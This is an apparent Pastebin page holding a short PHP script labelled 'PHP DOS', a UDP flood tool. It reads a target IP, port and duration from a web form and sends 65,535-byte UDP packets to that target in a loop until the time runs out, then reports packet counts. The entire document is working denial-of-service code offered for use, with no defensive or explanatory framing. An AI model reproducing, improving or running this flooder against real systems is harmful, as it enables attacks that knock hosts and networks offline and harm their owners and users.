Advertisement
Guest User

for the function.php

a guest
Dec 20th, 2011
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. <?php
  2.  
  3. //=================================================
  4. //PHP DOS (Possibly Stronger Flood Strength)
  5. //=================================================
  6.  
  7. $packets = 0;
  8. $ip = $_POST['ip'];
  9. $rand = $_POST['port'];
  10. set_time_limit(0);
  11. ignore_user_abort(FALSE);
  12.  
  13. $exec_time = $_POST['time'];
  14.  
  15. $time = time();
  16. print "Flooded: $ip on port $rand <br><br>";
  17. $max_time = $time+$exec_time;
  18.  
  19.  
  20.  
  21. for($i=0;$i<65535;$i++){
  22. $out .= "X";
  23. }
  24. while(1){
  25. $packets++;
  26. if(time() > $max_time){
  27. break;
  28. }
  29.  
  30. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  31. if($fp){
  32. fwrite($fp, $out);
  33. fclose($fp);
  34. }
  35. }
  36. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement